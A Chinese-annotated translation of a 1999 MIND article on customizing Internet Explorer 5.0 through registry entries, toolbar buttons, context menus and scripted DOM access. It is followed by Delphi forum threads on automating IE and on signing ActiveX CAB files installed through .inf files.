翻译讲解：和IE5.0相关的程序还有电子邮件和新闻阅读器（OutlookExpress），网页编辑器（FrontPage）等。在Internet选项对话框中程序那一栏里，有个列表列出可供选择的程序，你可以把你喜爱的程序（Foxmail, Dreamweaver）加入列表中。

==============

Technologies like Dynamic HTML (DHTML), behaviors, and XML provide excellent tools for customizing and extending browser features. You can create a browser implementing the IDocHostUIHandler interface, and expose a completely custom object model through that interface's External property (see "Take Total Control of Internet Explorer with Advanced Hosting Interfaces," by Scott Roberts in the October 1998 issue of MIND). You can use behaviors to customize the way a certain HTML tag reacts to user and browser solicitations by extending it with new methods, properties, and events.

==============

翻译讲解：用来定制或扩展浏览器的技术有动态HTML(DHTML), behaviors, XML等。例如，通过实现一个IDocHostUIHandler 接口可以创建一个浏览器，参见：

Scott Roberts, "Take Total Control of Internet Explorer with Advanced Hosting Interfaces", MIND, 1998年10月期

==============

Customization Techniques

Customization of the Internet Explorer 5.0 user interface involves four elements: COM components, HTML, script files, and the registry. By writing a special COM component or script file and entering some keys and values to the registry, you can personalize the Internet Explorer interface. As I mentioned earlier, I won't discuss the COM stuff in depth here, but I will give you an overview of the COM component you can write to interact with Internet Explorer 5.0.

==============

翻译讲解：定制IE5.0涉及4种元素：COM组件，HTML，Script文件，注册表。往注册表里添加一些Keys和Values，写一个特定的COM组件或Script文件，就可以定制IE的界面了。

==============

There are basically four types of Internet Explorer-specific COM objects: BHOs, BHOs with custom commands, command-only objects, and the Explorer deskband.

==============

翻译讲解：基本上，与IE相关的COM object有4种类型：BHOs，带定制命令的BHOs，command-only objects，Explorer deskband。

==============

A BHO is a simple COM server that is only required to implement the IObjectWithSite interface. You can create a BHO with ATL by choosing the Internet Explorer object template from the ATL objects gallery. BHOs are also supported by Windows Explorer (if you're running shell version 4.71 or greater) and Internet Explorer 4.0. BHOs don't necessarily link with the UI; they are just actions you take when starting the browser. BHOs are passed a pointer to the browser's IUnknown interface.

==============

翻译讲解：一个BHO是一个简单的COM server，只需实现IObjectWithSite接口即可。可以用ATL创建一个BHO，从ATL objects gallery中选择Internet Explorer object template。Windows Explorer和IE4.0也支持BHOs。BHOs并不和UI相连，它只是在浏览器启动时起作用。BHOs会接收到一个指向浏览器IUnknown接口的指针。

==============

You can add new commands to the browser by writing BHOs, or even simpler COM objects, that implement IOleCommandTarget. With this interface, Internet Explorer 5.0 knows how to ask your component to execute a function. Such a component needs to be associated with a menu item or a toolbar button. The difference between a BHO and a COM server implementing IOleCommandTarget is that a BHO can easily access (via the received IUnknown pointer) any object model exposed by the document being viewed.

==============

翻译讲解：如果要往浏览器里加入命令，那么写BHOs，或更简单的COM object时，要实现IOleCommandTarget接口。IE5.0通过这个接口和你的组件交互并执行某项功能。这种组件需要和一个菜单项或一个工具条按钮联系起来。这种实现IOleCommandTarget接口的COM server和前面介绍的实现IObjectWithSite接口的BHOs的区别是：实现IObjectWithSite接口的BHO可以很容易地访问正被浏览的文档中的object model（这是因为上面说到过的，它会接收到一个指向浏览器IUnknown接口的指针）。

==============

An Explorer deskband is a docking window that you can employ as the left pane of your browser. By default, the deskband is a window within Explorer that shows the shell's namespace. Other predefined deskbands allow you to see the Search, History, and Favorites panels. Usually, the available deskbands are listed under the View | Explorer Bar menu both for Windows Explorer and Internet Explorer (see Figure 2).

==============

翻译讲解：Explorer deskband是一个浮动窗口，你可以用来作为你的浏览器的左窗格。缺省情况下，deskband显示shell的名字空间（目录树）。其它预定义的deskband用来显示搜索，历史记录，收藏夹等。通常地，这些可用的deskband在Windows Explorer和IE的查看 | 浏览栏菜单中罗列出来，见Figure 2。

==============

Figure 2: Available Deskbands

Writing a custom deskband is neither painfully difficult nor particularly easy. A few examples can be found in the latest Platform SDK.

==============

翻译讲解：写一个定制的deskband不难（对高手而言），也不易（对初哥而言），在最新的Platform SDK中可以找到一些例子。

==============

Adding a New Toolbar Button

To add a new button to the Internet Explorer 5.0 toolbar, you just write some new entries to the system registry. You define the icons to be used, the text to be shown, and what happens when someone clicks the button. A toolbar button always has a corresponding menu item, which is automatically added at the bottom of the Tools menu. The Windows Scripting Host (WSH) script shown in Figure 3 demonstrates how to create a new button called Run Script. The final effect is shown in Figure 4.

==============

翻译讲解：要往IE5.0的工具条上加按钮，你只要往注册表里加些条目即可。内容包括使用什么图标，显示什么文字，点击按钮时该做什么等。每个工具条按钮总有相应的菜单项，它会被自动加到工具菜单的底部。Figure 3 的WSH Script举例演示了如何添加一个名为Run Script的新按钮，Figure 4显示了最终结果。

==============

Figure 4: The New Run Script Toolbar Button

There are two categories of information to be added for a new button: configuration and behavior. Figure 5 shows the entries that describe the button. All the entries mentioned here are strings (type REG_SZ). Notice that if Default Visible is set to No, the button won't appear on the toolbar, although it will still be available through the toolbar's Customize dialog. If the user has already customized the toolbar, the button will not appear on the toolbar automatically no matter the value of Default Visible.

==============

翻译讲解：用什么定义一个新按钮呢？有两种信息：configuration和behavior。Figure 5 显示了描述一个按钮所需的条目。这里提到的所有条目都是字符串（REG_SZ类型）。要注意，如果Default Visible设为No，那么该按钮不会出现在工具条上，虽然它在工具条的定制对话框中仍然可以看到。如果用户早就定制过了工具条，那么无论Default Visible的值是什么，按钮都不会自动出现在工具条上。

==============

The Clsid entry can take two possible GUIDs as values: {E0DD6CAB-2D10-11D2-8F1A-0000F87ABD16}

and

{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}

Use the first GUID if you're attaching a deskband to the button, otherwise use the second one.

These entries must all be written to the following root key:

HKEY_LOCAL_MACHINE

Explorer

Under this path, however, you have to create a new key with a unique GUID. You can use GuidGen.exe to generate a new one. Incidentally, this is exactly what I did to come up with the GUID in Figure 3. Notice that as long as you use the HKEY_LOCAL_MACHINE root node, the button will be visible to all users on the specified machine. If you want it to apply only to certain users, enter the registry changes under the HKEY_CURRENT_USER node instead.

==============

翻译讲解：Clsid条目的值是一个GUIDs，有两种选择可能：

{E0DD6CAB-2D10-11D2-8F1A-0000F87ABD16} 和 {1FBA04EE-3024-11D2-8F1F-0000F87ABD16}如果你想把一个deskband连接到按钮上，使用第一个GUID，否则用第二个（多数情况）。

这些条目放在注册表里的什么地方呢？其根Key为： HKEY_LOCAL_MACHINE

Explorer

在此路径下，创建一个新Key，其名字应为一个唯一的GUID。你可以用GuidGen.exe程序来产生这个GUID，作者就是这样得到Figure 3

中的GUID 的。注意，当你在HKEY_LOCAL_MACHINE 根节点下增加这些条目时，这台机器上的所有用户都能看到这个按钮。如果你只想让某些特定的人看到，改放到HKEY_CURRENT_USER根节点下。

==============

These changes are sufficient to make a new button appear on the Internet Explorer toolbar. The icons must include two formats each: 16X16 (16 colors) and 20X20 (256 colors). You can create these icons with the integrated resource editor of Visual Studio? To give the button an associated behavior, you have three options: running an executable, running a script or an HTML page, or invoking a command defined in some COM component implementing the IOleCommandTarget interface. Let's take a look at what you have to add to the registry in each case.

==============

翻译讲解：为了让新按钮出现在工具条上，注册表做这些改动就可以了。要求图标的格式有两种：16X16 (16色) and 20X20 (256 色)。你可以用Visual Studio内集成的resource editor创建这些图标。给该按钮赋予相关的behavior，你有3种选择：运行一个可执行文件，打开一个script或HTML页面，或者引发一条命令，该命令定义在某些实现了IOleCommandTarget接口的COM组件中。让我们看看在每种情况下，注册表里要添加些什么。

==============

To spawn an external program you need to add a further value, Exec, whose content is the fully qualified name of the executable. My tests indicate that you can't specify a command-line argument. For example, notepad.exe

works fine, while

notepad.exe file.txt

doesn't, even if you surround the whole thing with quotes.

==============

翻译讲解：如果要运行一个可执行文件，你需要增加一个value，其名字为Exec，内容为可执行文件的全路径名（网络蚂蚁就这样做）。作者测试结果表明，不能指定命令行参数，如

notepad.exe

可正常工作，而 notepad.exe file.txt

却不行，即使把全部字符串用双引号括起来也一样。

==============

If your goal is to run a Web page or a script file, then you have to change the entry. Use Exec for a Visual Basic?Scripting Edition (VBScript) or JScript script, and use Script for an HTML page. There are some subtle differences between these two options. Exec means that the specified file is executed through the program registered to manage that type of file. If you use the Exec entry with an HTML file, you force the default browser (in most cases Internet Explorer 5.0 itself) to navigate to that page. If you use Exec with a .vbs file, you simply end up executing that code—provided that you have WSH properly installed. Running a VBScript or a JScript file as a standalone executable doesn't let you access the current instance of the browser and the object model exposed by the currently viewed document. If you want to use these objects, you must resort to using an HTML file that contains only script code and run it through a Script (not Exec) entry. For example, this code<SCRIPT LANGUAGE="JavaScript">

var parentwin = external.menuArguments;

var doc = parentwin.document;

var sel = doc.selection;

var rng = sel.createRange();

var str = new String(rng.text);

if(str.length == 0)

rng.text = "HELLO, MIND!";

else

rng.text = str.toUpperCase();

</SCRIPT>

adds "HELLO, MIND!" to the current page when you click the button.

==============

翻译讲解：如果要执行一个VBScript或者JScript script，仍是用Exec，如果要打开一个HTML页面，Value的名字要改用Script。两种情况的差别是：Exec意味着指定的文件是由它的关联程序所执行的。如果你在Exec中指定一个HTML文件，会启动缺省浏览器（IE5.0）去浏览该页面文件。如果你在Exec中指定一个.vbs文件，那只是简单地执行其中的代码，当然，WSH必须安装妥当。VBScript或JScript文件作为单独可执行文件运行时，你访问不到当前浏览器的instance 和由当前正被浏览的文档所exposed出来的object model 。如果想使用这些objects，你必须写一个HTML文件，其中仅包含script代码，并用Script (而非Exec)来执行之。例如，当你点击按钮时，下面这些代码：

<SCRIPT LANGUAGE="JavaScript">

var parentwin = external.menuArguments;

var doc = parentwin.document;

var sel = doc.selection;

var rng = sel.createRange();

var str = new String(rng.text);

if(str.length == 0)

rng.text = "HELLO, MIND!";

else

rng.text = str.toUpperCase();

</SCRIPT>会在当前页面中加一句"HELLO, MIND!" 。

==============

Using the Script entry and a script-only HTML file allows you to use the External object to access the document's object model. If you put any decorative tags in this HTML file, they will be ignored.

==============

翻译讲解：就这样，使用Script条目和一个script-only HTML文件，能让你使用External object去访问文档的object model。如果你往这个HTML文件中加入任何HTML tags，它们都会被忽略。

==============

Finally, you can establish a link between an Internet Explorer 5.0 toolbar button and a COM object via the ClsidExtension entry. Its content is the CLSID of the COM object implementing the IOleCommandTarget interface. If you have a deskband, use the BandClsid entry instead of ClsidExtension.

==============

翻译讲解：最后一种情况，把IE5.0的工具条按钮连接到一个COM object上，添加的Value名字为ClsidExtension，其内容是那个实现了IOleCommandTarget接口的COM object的CLSID（金山词霸就这样做）。如果是一个deskband，用BandClsid而非ClsidExtension。

==============

Accessing the Document Object Model

I mentioned earlier that if you want to access the document object model (DOM), you have to resort to the Script entry and a script-only HTML file. Well, that's not completely true. Or rather, it's true if you want to rely on the standard capabilities of Internet Explorer. However, if you have a brave heart and know how to build a simple Visual Basic-based COM object, you can have both your WSH scripts and a standalone executable that accesses the object model of the document being viewed through Internet Explorer.

==============

翻译讲解：早先曾提到，如果你想要访问document object model (DOM)，你必须借助于Script条目和一个script-only HTML文件。Well，那并不完全正确。或者说，如果你只是依赖IE的普通做法，那只能如此。然而，如果你有一颗勇敢的心，并且知道如何创建一个简单的VB-based COM object，那么无论用WSH scripts还是用单独的可执行文件，你都可以访问正被IE浏览的文档的object model。

==============

You need two pieces of information: the instance of Internet Explorer that's running your script, and the way to connect to a running instance of Internet Explorer. Every running instance of Internet Explorer has its own window, and every window has its own unique handle (HWND). Internet Explorer 5.0 makes available a COM object that returns the collection of all the running instances of both Explorer and Internet Explorer. Such an object is of type ShDocVw.ShellWindows. It was also available for Internet Explorer 4.0, albeit with a slightly different name. Once you've created an instance of this object, you have a reference to all the running instances of Internet Explorer. You just have to distinguish between Windows Explorer and Internet Explorer and realize which instance of Internet Explorer is actually running your script.

==============

翻译讲解：有两点关键：哪一个IE的Instance执行着你的script，如何connect到一个运行中的IE的Instance上。每个运行中的IE的Instance都有它自己的窗口，每个窗口都有它自己唯一的handle (HWND)。IE5.0中有个COM object，其类型为ShDocVw.ShellWindows，它可以返回所有运行中的Windows Explorer和IE的Instance的一个集合。一旦你创建了这个object的一个instance ，你就获得了一个所有Windows Explorer和IE的运行中的Instance的reference。你要做的只是区分出哪些是Windows Explorer的，哪些是IE的，并且找出实际执行你的script的IE的Instance。

==============

A user who wants to run a script would click on a toolbar button, which automatically means that the foreground window is Internet Explorer. The handle of the foreground window is returned by the GetForegroundWindow API function. Hence, the algorithm is:Get the collection of the active instances of Internet Explorer.

Walk the collection.

For each instance of Internet Explorer, compare the handle of the main window with the foreground window.

There's just one possible match. When you've found that, you've found the instance of Internet Explorer that ran your script.

==============

翻译讲解：当用户点击工具条按钮时，系统的foreground窗口正是IE，用GetForegroundWindow API函数可返回foreground窗口的handle。因此，算法过程是：取得运行中的IE的instances的一个集合。遍历该集合。

对每个运行中的IE的instance，把它的主窗口的handle和foreground窗口的handle比较。只可能有一个是match的。当你找到时，它就是执行你的script的IE的instance。==============To execute all of this from within a WSH script, I wrote a very simple Visual Basic-based object whose source code is shown in Figure 6. This object (the progID is IE5Script.Instance) exposes four properties: HWND, Title, IEDocument, and IEObject. HWND returns the handle of the foreground window. Title returns the caption of the foreground window. IEDocument matches the foreground window with the various copies of Internet Explorer and returns the Document object of the right instance. (If you expect to execute this from a script associated with an Internet Explorer toolbar button, you must have at least one copy of Internet Explorer running!) Finally, IEObject returns a reference to the application object of Internet Explorer. Through the value retrieved by this property, you can drive the whole Internet Explorer object model.

==============

翻译讲解：为了在一个WSH script内执行所有这4个步骤，作者写了个非常简单的VB-based object，其源码列在Figure 6中。这个object（其progID是IE5Script.Instance）exposes4个属性：HWND, Title, IEDocument, 和IEObject。 HWND返回foreground窗口的handle，Title返回foreground窗口的标题，IEDocument返回显示在屏幕最前面的IE的instance中的Document object。（当你点击IE的工具条按钮时，这个IE的instance就显示在屏幕最前面，其窗口就是foreground窗口！）最后，IEObject返回一个IE的application object 的reference。通过这些属性值，你就可以drive整个IE的object model了。

==============

A script that wants to access the DOM can do something like this: Set obj = CreateObject("IE5Script.Instance")

Set myPageObj = obj.IEDocument

From now on, myPageObj can be used to access the various items that form the DHTML object model. For example, you could enumerate all the links in a page:

Set obj = CreateObject("IE5Script.Instance")

Set myPageObj = obj.IEDocument

For Each lnk In myPageObj.links

txt = txt & lnk.href & vbCrLf

Next

MsgBox txt

Figure 7 shows the final result.

==============

翻译讲解：想要访问DOM，script可以写成这样： Set obj = CreateObject("IE5Script.Instance")

Set myPageObj = obj.IEDocument

从现在开始， myPageObj就可以用来访问DHTML object model中各种各样的items 了。例如，你可以把页面中的连接一一列举出来： Set obj = CreateObject("IE5Script.Instance")

Set myPageObj = obj.IEDocument

For Each lnk In myPageObj.links

txt = txt & lnk.href & vbCrLf

Next

MsgBox txtFigure 7显示了最终结果。

==============

Figure 7: Enumerating Links in a Page

Modifying the Menus

You can also modify the Internet Explorer 5.0 menu without affecting the toolbar. As mentioned earlier, each toolbar button has a corresponding command in the Tools menu. However, this is only true in the default case. In other words, a new command goes under the Tools menu unless you specify otherwise. Unfortunately, you can't add the menu item wherever you want. You have just two choices: you can add it under the Help menu or the Tools menu. By default, it goes under Tools unless you create another string value called MenuCustomize when you're setting up the registry entries. Set MenuCustomize to "Help" and the menu item will appear under the Help menu. Set it to any other string (say, "File") and the menu item will appear under the Tools menu.

==============

翻译讲解：你可以修改IE5.0的菜单而不影响工具条。早先时候提到过，每个工具条按钮都有相应的命令在工具菜单下。然而，实际上你可以把命令放在别处而不必再工具菜单下。不幸的是，你不能把菜单项添加到任意你想放的地方。只有两处可以：帮助菜单下或工具菜单下。缺省情况下，是放到工具菜单下。只有一种情况会放到帮助菜单下：你在注册表里和MenuText, Icon并列的地方，创建一个字符串Value，名字为MenuCustomize，内容为Help。

==============

When you specify the text for the item (its value is MenuText), you can't specify your choice of underlined character to denote a keyboard shortcut. This is done as a precaution so that you don't introduce a conflict.

The Context Menus

When it comes to customizing the browser, the context menus are frequently one of the aspects you want to control. One of the typical problems you might have is needing to hide the source code of the page from curious users. Until the release of Internet Explorer 5.0, this was possible only by implementing IDocHostUIHandler in your WebBrowser's container. With Internet Explorer 5.0, a slightly enhanced DHTML object model lets you get the same result with script code. The latest Platform SDK contains a made-to-measure example under the path .

==============

翻译讲解：当context menus可用来定制浏览器后，它就成为人们最频繁想控制的一个方面。你可能遇到的一个典型的问题就是需要隐藏页面的源码，以免好奇的访客查看到。IE5.0发布之前，这只能通过在你的WebBrowser's container中实现IDocHostUIHandler接口而做到。在IE5.0里，增强的DHTML object model让你用script代码就能得到相同的结果。在最新的Platform SDK中，路径下，有个made-to-measure例子。

==============

To hide the standard context menu, just use the following piece of script code: <body oncontextmenu="return false">

However, if you assign a procedure to the oncontextmenu property, you can decide at runtime whether to display a menu and, if you do, which one should appear. You can also build your own menu on the fly, as demonstrated in the Platform SDK example.

==============

翻译讲解：欲隐藏标准的context menu，只要下面的script代码片断即可： <body oncontextmenu="return false">然而，如果你给oncontextmenu属性指定了一个procedure ，那么你可以在运行时刻才决定是否显示一个菜单，并且，如果你愿意，还可以决定显示哪一个。你也可以象Platform SDK中的例子所演示的那样，动态地创建你自己的菜单。

==============

If you don't mind all the standard context menu items, but simply want new and more specific items, describe them in a registry subtree located under: HKEY_CURRENT_USER

Explorer

Each subkey of this node will be considered a new item for any context menu. Notice that now you must work under HKEY_CURRENT_USER. For example, you could create a key called "Do Something?quot; and set its default value to the following HTML page:

<SCRIPT LANGUAGE="JavaScript">

var parentwin = external.menuArguments;

var doc = parentwin.document;

alert("My parent window is: " + doc.title);

</SCRIPT>

From now on, any context menu of Internet Explorer 5.0 includes a "Do Something?quot; item, which prompts you with the title of the current page. In Figure 8, you can see how the context menu for both images and selected text show off a brand new item.

==============

翻译讲解：如果你并不关心所有标准的context menu的items，而仅仅只是想要新的更特定的items，在下面的注册表子树中描述他们： HKEY_CURRENT_USER

Explorer

该节点下的每个subkey都会被认为是任意context menu的一个新项（网络蚂蚁就是这样做的）。注意此时必须在HKEY_CURRENT_USER下。举个例子，你可以创建一个名为"Do Something..."的Key，并在下面的HTML页面中设置其缺省值： <SCRIPT LANGUAGE="JavaScript">

var parentwin = external.menuArguments;

var doc = parentwin.document;

alert("My parent window is: " + doc.title);

</SCRIPT>

从现在起，IE5.0的任意context menu都包含一个"Do Something..."项，选中它后，会向你提示当前页面的标题是什么。从 Figure 8中，你可以看到在图片上和在选中文本上显示的context menu的新项。

==============

Figure 8: A New Context Menu Item

As for toolbar buttons, the HTML code associated with the command will be run in a hidden dialog box that is passed the parent window object through the external.menuArguments property.

==============

翻译讲解：和前面定制工具条按钮的例子一样，和命令相连的HTML代码是在一个隐藏的对话框中运行的，该对话框通过external.menuArguments属性接收到父窗口的object。

==============

You can also limit the number of context menus where a given command appears. To do so, add another value and name it Contexts. Note that it must be a DWORD value. Assign it any combination of the hex values listed in Figure 9. For example, a value of 0x12 will cause the new item to appear only on the Image and Text context menu, as shown in Figure 8.

==============

翻译讲解：你也可以限定一个新命令项只能出现在某些context menus上。为此，增加一个DWORD类型的value，名为Contexts，用Figure 9中列出的十六进制值的任意组合给它赋值。比如，象Figure 8所显示的那样，赋值0x12将使新命令项只能在图片和文本的context menu上出现。

==============Related Applications

Internet Explorer 5.0 works in conjunction with a number of other applications: HTML editors, mail and news clients, calendars, contact managers, and conferencing. Usually, it detects and lets you choose only a few of the applications you may have on your machine. Once Internet Explorer 5.0 detects such programs, it lists them through the Internet Options dialog box (see Figure 10).

==============

翻译讲解：和IE5.0一起的还有若干其它程序：HTML编辑器，邮件和新闻客户端，日历，联络管理簿等。通常，它只能检测到你机器上的少量程序并让你选择使用。一旦IE5.0检测到这些程序，就会在Internet选项对话框中罗列出来（见Figure 10）。

==============

Figure 10: Internet Explorer-related Programs

Let's see how to make other applications available. Five out of six categories can be managed through this registry node: HKEY_LOCAL_MACHINE

These categories include: Mail, News, Internet Call (conferencing), Calendar, and Contacts. To define a new mail reader (even a dummy entry), create a new node under the Mail key and duplicate the settings you can see for the other entries. Figure 11 shows the result.

==============

翻译讲解：让我们看看如何使其它程序也可被选用。6种程序中有5种可通过下面的注册表节点进行管理： HKEY_LOCAL_MACHINE

这几种程序包括： Mail, News, Internet Call (conferencing), Calendar, 和Contacts。欲定义一个新的邮件阅读器（即使只是个虚假的条目），在Mail key下创建一个新节点，并从其它已有的条目中拷入设置内容（Foxmail就是这样做的）。Figure 11 显示了结果。

==============

Figure 11: Registry Settings for a New Mail Reader

The remaining category of Internet Explorer 5.0 applications is HTML editors. If an HTML editor is made available, it must first be configured elsewhere in the registry. The key to look for is: HKEY_CLASSES_ROOT

.htm

Under this node, you can create a new key for any new program that processes HTML file names on the command line. Take note of the OpenWithList key—it's a sneak preview of a shell feature that's scheduled to ship with Windows 2000. If you're already running a prerelease version of Windows 2000, chances are you already noticed that some file types have dropdown menus in their context menus under the Open With item, allowing you to select from multiple programs to open the file type. All the items shown in this list are taken from the OpenWithList registry key.

==============

翻译讲解：剩下的1种IE5.0程序是HTML编辑器。如果想要使一个HTML编辑器可用，首先必须在注册表的其它地方进行配置。要找的key是： HKEY_CLASSES_ROOT

.htm

在此节点下，你可以为任意程序创建一个新key，只要该程序可在命令行下处理HTML文件名即可。注意OpenWithList key，它是shell的一个新feature，准备在Windows 2000中正式提供。如果你已在使用一个Windows 2000的预览版，那你早就有机会注意到，对某些类型的文件，在它的context menus中Open With项里，有个下拉菜单用来从多个程序中选择。所有在此下拉菜单中列出的项，都是从这个OpenWithList key中取得的。

==============

Deploying the Customization

So far I've discussed a number of techniques you can employ to make Internet Explorer better suit your needs. As you can see, almost all the changes that are required to customize Internet Explorer end up being registry tweaks that must take place on the local client machine.

To wrap things up, let me address some strategies you can follow in order to deploy any change in a fairly automatic way.

==============

翻译讲解：至此，作者讨论了若干种技术，你可以用它们来使IE更适合你的需要。正如你所见，几乎所有的改变，都需要在客户端本机上的注册表里作修改。

对此，让我们想些办法使得这个deploy过程可以自动进行。

==============

You have three options: remote administration of the registry, running WSH scripts locally, or using a self-installing ActiveX module that users download from a fixed URL. In the first case, the system administrator is free to access and manipulate the registry of the connected machines from a remote workstation and can enter any needed change. In the second case, users are required to run a script-based setup procedure locally. From the developer's point of view, these two approaches look much the same.

==============

翻译讲解：你有3种选择：远程管理注册表，在本机运行WSH scripts，或使用一个可让用户从一个固定URL下载的self-installing ActiveX module。在第一种情况下，系统管理员可以从远程工作站连上来，自由地访问和操作注册表，并可以加入任意需要的改变。在第二种情况下，用户需要在本机运行一个script-based安装过程。从开发者观点看，这两种做法看起来是一样的。

==============

The third option is the one I prefer and which I've often employed, although in a slightly different context. When a user wants to update his browser, he just connects to a fixed URL on the intranet. That page contains an ActiveX control, CAB file, or Java-language applet—the choice is yours—which gets downloaded locally and works in the background.

==============

翻译讲解：第三种选择是作者最喜欢并且经常使用的。当用户想更新他们的浏览器时，他只需连接到intranet中一个固定的URL上。这个页面包含有一个ActiveX control, CAB文件, 或Java applet（用什么，随你便），它将被下载到本机并在后台运行，从而修改了注册表。

==============

Summary

I've shown you the major customization features of Internet Explorer 5.0, focusing on the configuration aspects of the browser as opposed to more development-oriented topics such as behaviors and object model extensions. (For more information on behaviors and object model extensions, please see past issues of MIND and MSDN?News.) For more information about the administrative concepts covered in this column, you can refer to the latest MSDN CDs; look under the Platform SDK area for the Web Services | Workshop node.

==============

翻译讲解：作者向你展示了IE5.0的主要定制features，主要集中在浏览器的configuration方面，而不是更加面向开发者的主题，如behaviors和object model extensions。（关于behaviors和object model extensions的更多信息，请看MIND和MSDN?News的以往各期。）关于本专栏所覆盖的各相关概念的更多信息，可参考最新的MSDN光盘，找Platform SDK下的Web Services | Workshop节点。

==============

From the November 1999 issue of Microsoft Internet Developer.


如何控制IE
在程序中如何实现以下功能

1、让已打开的IE打开另一个指定的主页（地址在程序中指定）。

2、如何让正在打开的IE停止。（即停止按扭被按下的功能）。

3、在程序中如何关闭一个IE。

：DragonPC_???, 时间：2001-9-20 18:06:00

uses Comobj, ... ... ;

{...}

var

Form1: TForm1;

IEApp: Variant;

{...}

procedure TForm1.Button1Click(Sender: TObject);

begin

IEApp := CreateOLEObject('InternetExplorer.Application');

IEApp.visible := true;

IEApp.Top := 0;

IEApp.Left := 0;

IEApp.width := screen.width;

IEApp.height := screen.height;

IEApp.Navigate('http://www.delphibbs.com');

end;

IE的其它的控制：

IEApp.GoForward ;

IEApp.GoBack ;

IEApp.GoHome ;

IEApp.Refresh ;

IEApp.Stop ;

IEApp.GoHome ;

IEApp.FullScreen := true;

IEApp.StatusText := 'My Status Text';

IEApp.Path := Show Path to IE

IEApp.FullName := Full Path to IE

IEApp.LocationURL := Get active Url

IEApp.quit;


IE数字签名
我用delphi作了几个activeform，现在我将发布时生成的.cab进行数字签名，

我的浏览器时缺省安全模式，以下有两种情况

1。如果我在html中是如下的形式，浏览时将会出现我想要的情况

（提示我的控件已经数字签名）

<OBJECT

classid="clsid:F9B387E5-C908-40C8-8D18-5A9F40A18411"

codebase="/activex/ActiveFormXTestProj.cab#version=1,0,0,0"

width=361

height=194

align=center

hspace=0

vspace=0

>

</OBJECT>

这是正确的

2。但是我想用.inf文件。即我的html用如下形式

<OBJECT

classid="clsid:F9B387E5-C908-40C8-8D18-5A9F40A18411"

codebase="/activex/aa.inf"

width=361

height=194

align=center

hspace=0

vspace=0

>

</OBJECT>

而我的.inf文件是如下写的

[Add.Code]

ActiveFormXTestProj.ocx=ActiveFormXTestProj.ocx

[ActiveFormXTestProj.ocx]

file=/activex/ActiveFormXTestProj.cab

clsid={F9B387E5-C908-40C8-8D18-5A9F40A18411}

RegisterServer=yes

FileVersion=1,0,0,0

这个ActiveFormXTestProj.cab文件用的就是第一种情况中的控件，但是

这时候用浏览器浏览时就好像这个ActiveFormXTestProj.cab没有签名似的。

总结;

由于我在作三层，一定要将midas.dll当作additionnal file做的我的一个

控件的.inf文件中在客户的机器中注册。所以我一定用个.inf文件完成这个工作。

但是经过上面的测试，我发现控件用.inf时，数字签名好像就没作用似的，我不知

我该如何进行关于一个用.inf的控件的数字签名！

谢谢各位大侠！

zhaohui9:

签名需要微软或其同意的第三方同意即可，国内有很多这样的第三方，现在的问题根本就

不是能不能对我的activeform签名。

希望大家能看清楚我的问题！

（大家如果第一次登陆www.3721.com，会弹出一个认证框，这就是我要的东西）

在我对我的控件成功签名后，如果我不用一个.inf文件，用起来一点问题也没有，也能够

出现认证框。这种情况是正确的。

不过我的问题是我想用一个.inf文件，即使这个.inf文件中的控件是签过名的，在用浏览器

访问时也不能出现我想要的签名框，这才是我的问题所在！！！！

拜托大家帮忙！！！！！！！！！

这个问题参考http://www.tarim.com.cn.这上面有这方面的详细解释

“数字签名好像就没作用似的”

具体是什么意思？

意思就是：

当我的控件数字签名成功后，当你用浏览器（浏览器的安全级别是默认的）第一次浏览

包含这个控件的页面时，会弹出一个认证框，里面包含了这个控件的一些数字签名信息，如

这个数字签名是由哪个第三方认证公司认证的等等信息.

这就叫数字签名起作用。

反之，如果不出现那个认证框，就叫不起作用

（ 注意：这里浏览器的安全级别都是IE的默认安全级别）

来自：iamcaca, 时间：2002-4-2 17:00:00, ID：1018721

请你参考我的代码

CAitAnlyse.inf内容：

[Add.Code]

CAiTAnalyse.ocx=CAiTAnalyse.ocx

CAiTAnalyse.lic=CAiTAnalyse.lic

[CAiTAnalyse.ocx]

file=./CAiTAnalyse.cab

clsid={039E74E6-4426-452E-BA1B-AD252B591721}

RegisterServer=yes

FileVersion=1,0,0,2

[CAiTAnalyse.lic]

file=./CAiTAnalyse.cab

CAitAnalyse.lic里只有一句

{5C3E0C7B-5DAF-47C8-BB2E-5D40EAE7CCB3}

HTML里的内容：

<OBJECT

classid="clsid:039E74E6-4426-452E-BA1B-AD252B591721"

id="aa"

codebase="./CAiTAnalyse.cab#version=1,0,0,2"

width=106

height=74

align=center

hspace=0

vspace=0

>

</OBJECT>

我的CAB是签过名的，第一次在客户运行能显示签名信息

来自：BlackDragon, 时间：2002-4-4 2:44:00, ID：1022195

看这个

經由.inf檔做進階設定

    藉由修改.inf檔, 你可以設定你要的安裝程序. 經過修改的.inf檔可以被包含在一個用手建立的.cab檔案(使用.ddf專案檔)中. 或者可以被Object標籤中的Codebase屬性直接引用.

注意：一般我們並不使用.inf檔, 因為它無法讓我們為它加上數位簽名. 如果我們要使用.inf檔, 那麼控制項的.ocx檔必須要有數位簽名.

對一個.inf檔的典型修正包括:

˙加入一個認可協議

˙加入一個讀我檔案

˙加入附加的文件

注意：身為一個ActiveX控制項的發展者, 你可以修正你的網路下載元件. 但是你應該知道這樣做的話, 如果你的修正引發了不正確的結果, 你將會替你自己和你公司招致潛在的責任. 某些改變指的是你能保證, 確定或承擔, 你所做的變更是正確且可信的. 在認可協議中加入" 如…. "或者" 適當 "的條款企圖躲避掉應負的責任在很多裁決中都被判定違規.

這裡有一個.inf的例子:

;INF file for ControlDemo.ocx

;DestDir can be 10 for Windows directory, 11 for Windows(32) directory, or left blank for the Occache directory.

[version]

signature=$CHICAGO$

[Add.Code]

CONTROLDEMO.OCX=CONTROLDEMO.OCX

MSVBVM50.DLL=MSVBVM50.DLL

[CONTROLDEMO.OCX]

file-win32-x86=thiscab

RegisterServer=yes

clsid={F651BF93-239B-11D0-8908-00A0C90395F4}

DestDir=

FileVersion=1,0,0,1

[MSVBVM50.DLL]

hook=MSVBVM50.cab_Installer

FileVersion=5,0,34,21

[MSVBVM50.cab_Installer]

file-win32-x86=http://activex.microsoft.com/controls/vb5/MSVBVM50.cab

InfFile=MSVBVMB5.inf

来自：dudajiang, 时间：2002-4-4 10:53:00, ID：1022648

现在正在找工作，这个问题我都快放弃了：（

to iamcaca：

你的

－－－－－－－－－－－－

[CAiTAnalyse.ocx]

file=./CAiTAnalyse.cab

clsid={039E74E6-4426-452E-BA1B-AD252B591721}

RegisterServer=yes

FileVersion=1,0,0,2

[CAiTAnalyse.lic]

file=./CAiTAnalyse.cab

－－－－－－－－－－－－－－－－

